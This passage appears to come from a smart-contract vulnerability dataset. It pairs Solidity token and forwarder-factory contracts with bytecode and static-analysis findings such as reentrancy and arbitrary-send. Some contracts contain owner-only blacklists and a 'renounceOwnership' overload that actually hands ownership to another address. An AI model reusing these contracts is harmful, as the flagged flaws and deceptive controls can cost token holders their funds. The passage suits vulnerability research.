zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000 * 10**9; _maxWalletSize = 30000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610309578063b87f137a14610329578063c3c8cd8014610349578063c9567bf91461035e578063dd62ed3e1461037357600080fd5b806370a0823114610297578063715018a6146102b7578063751039fc146102cc5780638da5cb5b146102e157806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610206578063313ce567146102265780635932ead114610242578063677daa57146102625780636fc3eaec1461028257600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f5780631b3f71ae146101c457806323b872dd146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820182526008815267574f4a414b494e5560c01b60208201529051610166919061171f565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611799565b6103b9565b6040519015158152602001610166565b3480156101ab57600080fd5b50670de0b6b3a76400005b604051908152602001610166565b3480156101d057600080fd5b506101e46101df3660046117db565b6103d0565b005b3480156101f257600080fd5b5061018f6102013660046118a0565b61046f565b34801561021257600080fd5b506101e46102213660046118e1565b6104d8565b34801561023257600080fd5b5060405160098152602001610166565b34801561024e57600080fd5b506101e461025d36600461190c565b610523565b34801561026e57600080fd5b506101e461027d366004611929565b61056b565b34801561028e57600080fd5b506101e46105c5565b3480156102a357600080fd5b506101b66102b23660046118e1565b6105f2565b3480156102c357600080fd5b506101e4610614565b3480156102d857600080fd5b506101e4610688565b3480156102ed57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561031557600080fd5b5061018f610324366004611799565b6106c5565b34801561033557600080fd5b506101e4610344366004611929565b6106d2565b34801561035557600080fd5b506101e4610726565b34801561036a57600080fd5b506101e461075c565b34801561037f57600080fd5b506101b661038e366004611942565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c6338484610b28565b5060015b92915050565b6000546001600160a01b031633146104035760405162461bcd60e51b81526004016103fa9061197b565b60405180910390fd5b60005b815181101561046b57600160066000848481518110610427576104276119b0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610463816119dc565b915050610406565b5050565b600061047c848484610c4c565b6104ce84336104c985604051806060016040528060288152602001611b41602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103f565b610b28565b5060019392505050565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016103fa9061197b565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016103fa9061197b565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105955760405162461bcd60e51b81526004016103fa9061197b565b600081116105a257600080fd5b6105bf60646105b9670de0b6b3a764000084611079565b906110ff565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e557600080fd5b476105ef81611141565b50565b6001600160a01b0381166000908152600260205260408120546103ca9061117b565b6000546001600160a01b0316331461063e5760405162461bcd60e51b81526004016103fa9061197b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b25760405162461bcd60e51b81526004016103fa9061197b565b670de0b6b3a7640000600f819055601055565b60006103c6338484610c4c565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016103fa9061197b565b6000811161070957600080fd5b61072060646105b9670de0b6b3a764000084611079565b60105550565b600c546001600160a01b0316336001600160a01b03161461074657600080fd5b6000610751306105f2565b90506105ef816111f8565b6000546001600160a01b031633146107865760405162461bcd60e51b81526004016103fa9061197b565b600e54600160a01b900460ff16156107e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fa565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081c3082670de0b6b3a7640000610b28565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085557600080fd5b505afa158015610869573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088d91906119f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d557600080fd5b505afa1580156108e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090d91906119f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095557600080fd5b505af1158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d91906119f7565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109bd816105f2565b6000806109d26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3557600080fd5b505af1158015610a49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6e9190611a14565b5050600e805466470de4df820000600f55666a94d74f43000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af057600080fd5b505af1158015610b04573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046b9190611a42565b6001600160a01b038316610b8a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fa565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fa565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fa565b6001600160a01b038216610d125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fa565b60008111610d745760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fa565b6000600a818155600b55546001600160a01b03848116911614801590610da857506000546001600160a01b03838116911614155b1561102f576001600160a01b03831660009081526006602052604090205460ff16158015610def57506001600160a01b03821660009081526006602052604090205460ff16155b610df857600080fd5b600e546001600160a01b038481169116148015610e235750600d546001600160a01b03838116911614155b8015610e4857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e5d5750600e54600160b81b900460ff165b15610f6257600f54811115610eb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fa565b60105481610ec1846105f2565b610ecb9190611a5f565b1115610f195760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fa565b6001600160a01b0382166000908152600760205260409020544211610f3d57600080fd5b610f4842601e611a5f565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f8d5750600d546001600160a01b03848116911614155b8015610fb257506001600160a01b03831660009081526005602052604090205460ff16155b15610fc2576000600a908155600b555b6000610fcd306105f2565b600e54909150600160a81b900460ff16158015610ff85750600e546001600160a01b03858116911614155b801561100d5750600e54600160b01b900460ff165b1561102d5761101b816111f8565b47801561102b5761102b47611141565b505b505b61103a838383611381565b505050565b600081848411156110635760405162461bcd60e51b81526004016103fa919061171f565b5060006110708486611a77565b95945050505050565b600082611088575060006103ca565b60006110948385611a8e565b9050826110a18583611aad565b146110f85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fa565b9392505050565b60006110f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061138c565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561046b573d6000803e3d6000fd5b60006008548211156111e25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103fa565b60006111ec6113ba565b90506110f883826110ff565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611240576112406119b0565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561129457600080fd5b505afa1580156112a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cc91906119f7565b816001815181106112df576112df6119b0565b6001600160a01b039283166020918202929092010152600d546113059130911684610b28565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133e908590600090869030904290600401611acf565b600060405180830381600087803b15801561135857600080fd5b505af115801561136c573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61103a8383836113dd565b600081836113ad5760405162461bcd60e51b81526004016103fa919061171f565b5060006110708486611aad565b60008060006113c76114d4565b90925090506113d682826110ff565b9250505090565b6000806000806000806113ef87611514565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114219087611571565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461145090866115b3565b6001600160a01b03891660009081526002602052604090205561147281611612565b61147c848361165c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114c191815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a76400006114ef82826110ff565b82101561150b57505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115318a600a54600b54611680565b92509250925060006115416113ba565b905060008060006115548e8787876116cf565b919e509c509a509598509396509194505050505091939550919395565b60006110f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103f565b6000806115c08385611a5f565b9050838110156110f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fa565b600061161c6113ba565b9050600061162a8383611079565b3060009081526002602052604090205490915061164790826115b3565b30600090815260026020526040902055505050565b6008546116699083611571565b60085560095461167990826115b3565b6009555050565b600080808061169460646105b98989611079565b905060006116a760646105b98a89611079565b905060006116bf826116b98b86611571565b90611571565b9992985090965090945050505050565b60008080806116de8886611079565b905060006116ec8887611079565b905060006116fa8888611079565b9050600061170c826116b98686611571565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561174c57858101830151858201604001528201611730565b8181111561175e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105ef57600080fd5b803561179481611774565b919050565b600080604083850312156117ac57600080fd5b82356117b781611774565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117ee57600080fd5b823567ffffffffffffffff8082111561180657600080fd5b818501915085601f83011261181a57600080fd5b81358181111561182c5761182c6117c5565b8060051b604051601f19603f83011681018181108582111715611851576118516117c5565b60405291825284820192508381018501918883111561186f57600080fd5b938501935b828510156118945761188585611789565b84529385019392850192611874565b98975050505050505050565b6000806000606084860312156118b557600080fd5b83356118c081611774565b925060208401356118d081611774565b929592945050506040919091013590565b6000602082840312156118f357600080fd5b81356110f881611774565b80151581146105ef57600080fd5b60006020828403121561191e57600080fd5b81356110f8816118fe565b60006020828403121561193b57600080fd5b5035919050565b6000806040838503121561195557600080fd5b823561196081611774565b9150602083013561197081611774565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119f0576119f06119c6565b5060010190565b600060208284031215611a0957600080fd5b81516110f881611774565b600080600060608486031215611a2957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a5457600080fd5b81516110f8816118fe565b60008219821115611a7257611a726119c6565b500190565b600082821015611a8957611a896119c6565b500390565b6000816000190483118215151615611aa857611aa86119c6565b500290565b600082611aca57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b1f5784516001600160a01b031683529383019391830191600101611afa565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046075c146d1a869aa888e93deeadcb14bfd345b366086300da263a8594e5a74a64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,516
0xffa397285ce46fb78c588a9e993286aac68c37cd
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063b97a23191461003b578063fb90b3201461006f575b600080fd5b6100436100bd565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100bb6004803603604081101561008557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506100e1565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b815260140182815260200192505050604051602081830303815290604052805190602001209050600061015960008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361024d565b90508073ffffffffffffffffffffffffffffffffffffffff166319ab453c856040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156101c457600080fd5b505af11580156101d8573d6000803e3d6000fd5b505050507fa35ea2cc726861482a50a162c72aad60965cc64641d419cd4d675036238b52048185604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a150505050565b6000808360601b90506040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528160148201527f5af43d82803e903d91602b57fd5bf300000000000000000000000000000000006028820152836037826000f5925050509291505056fea2646970667358221220c87b2492828fdd7dad3175a32a98ff07fc0eedf106536f2eddd9a016971c56a764736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,517
0x9da30d452b12c55c2e8978530198aecc6d63dc68
// SPDX-License-Identifier: UNLICENSED /* SANIN BURN - Every 6 hours we will purchase 50% of the marketing wallet into Sanin Inu and burn every single token Max Transaction : 1% Max Wallet : 4% Sell Fees : 8% Buy Fees : 8% */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function renounceOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SANINBURN is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "SANIN BURN";////////////////////////// string private constant _symbol = "SANINBURN";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 8;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 8;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xEa89fB6784D07b41308E9A6EEc40706Da2d1d2C6);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x77E59cfcc63658e8A2bE58Ea8549fD31b3DFC7E1);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 400000 * 10**9; //4% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { 